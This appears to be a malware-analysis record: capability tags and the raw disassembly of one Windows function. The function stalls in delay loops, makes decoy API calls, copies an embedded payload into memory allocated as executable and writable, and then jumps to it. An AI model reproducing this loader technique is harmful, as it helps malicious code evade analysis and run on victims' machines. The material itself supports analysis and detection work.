Function at 0x403360
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get disk size
Get file attributes
Get hostname
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x81c
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_SetLastError]
xor ebx, ebx
xor esi, esi
push ebx
call edi
cmp esi, 0xb7e4ee2
jg 0x40338a
inc esi
cmp esi, 0x73f04bd
jl 0x403376
cmp dword [0x492b44], 0x400
jne 0x4033f0
push ebx
lea eax, [ebp - 0x41c]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_FindNextVolumeMountPointA]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_EnumTimeFormatsW]
push ebx
push ebx
call fcn.00403b39
push ebx
push ebx
push ebx
call fcn.00403f77
add esp, 0x14
push ebx
call fcn.00404073
push ecx
mov eax, esp
mov dword [eax], ebx
mov dword [eax + 4], ebx
call fcn.00403a10
fstp st(0)
mov eax, esp
mov dword [eax], ebx
mov dword [eax + 4], ebx
sub esp, 8
mov eax, esp
mov dword [eax], ebx
mov dword [eax + 4], ebx
call fcn.004039f0
fstp st(0)
add esp, 0x10
cmp dword [0x492b44], 0x93
jne 0x40344c
xor ecx, ecx
lock bts dword [ecx], 0
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetDllDirectoryW]
push 0x402ecc
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_OpenJobObjectW]
push ebx
push ebx
lea eax, [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedCompareExchange]
push ebx
push ebx
call fcn.00403c99
push ebx
call fcn.00403c78
add esp, 0xc
push ebx
call fcn.00403c8e
add esp, 4
call fcn.00403350
push ebx
push ebx
call fcn.00403ecc
add esp, 8
mov eax, dword [0x492b44]
mov ecx, dword [0x48dcd4]
push 0x40
add eax, 0x1134b
push 0x1000
push eax
push ebx
mov dword [0x493980], ecx
mov dword [0x492b44], eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [0x4925d4], eax
mov esi, 0x1692e
call dword [sym.imp.KERNEL32.dll_GetLastError]
sub esi, 1
jne 0x403480
cmp dword [0x492b44], ebx
jbe 0x403517
mov edi, dword [sym.imp.KERNEL32.dll_InterlockedExchangeAdd]
mov ebx, dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExA]
mov edx, dword [0x493980]
mov al, byte [edx + esi + 0x1134b]
mov ecx, dword [0x4925d4]
mov byte [ecx + esi], al
cmp dword [0x492b44], 0x490
jne 0x40350c
push 0
lea edx, [ebp - 4]
push edx
call edi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
push 0
push 0
push 0
push 0
call ebx
call dword [sym.imp.KERNEL32.dll_GetSystemDefaultLCID]
push 0
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0x402f08
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
lea eax, [ebp - 8]
push eax
push 0
lea ecx, [ebp - 0x1c]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_ReadConsoleInputA]
inc esi
cmp esi, dword [0x492b44]
jb 0x4034a3
xor ebx, ebx
mov edi, dword [sym.imp.KERNEL32.dll_LCMapStringW]
mov ebx, dword [sym.imp.KERNEL32.dll_OpenEventA]
xor esi, esi
mov edx, dword [0x492b44]
add edx, esi
cmp edx, 0x8d
jne 0x40355c
push 0
lea eax, [ebp - 0x81c]
push eax
push 0
push 0
push 0
push 0
call edi
push 0
lea ecx, [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
push 0
push 0
push 0
call ebx
inc esi
cmp esi, 0x38681
jl 0x403525
call fcn.00403280
mov ebx, dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
xor edi, edi
xor esi, esi
cmp esi, 0xfa62c8f
jge 0x40357e
call ebx
cmp esi, 0x207142
jg 0x40358f
inc esi
cmp esi, 0x67d12
jl 0x403574
xor esi, esi
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp esi, 0x61
jne 0x4035af
mov dword [ebp - 4], edi
add dword [ebp - 4], 0
mov edx, dword [ebp - 4]
add dword [0x4925d4], edx
inc esi
cmp esi, 0x674bd
jl 0x403591
mov esi, dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
mov edi, dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
mov ebx, dword [sym.imp.KERNEL32.dll_SetComputerNameExA]
mov dword [ebp - 4], 0x7b
cmp dword [0x492b44], 0x86
jne 0x403609
push 0
call esi
push 0
lea eax, [ebp - 0x41c]
push eax
push 0
call edi
push 0x402f94
push 0
call ebx
push 0
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
cmp dword [0x492b44], 0xf
jne 0x40361c
lea ecx, [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_InterlockedIncrement]
sub dword [ebp - 4], 1
jne 0x4035d1
push 0x402fa4
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
call dword [0x4925d4]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret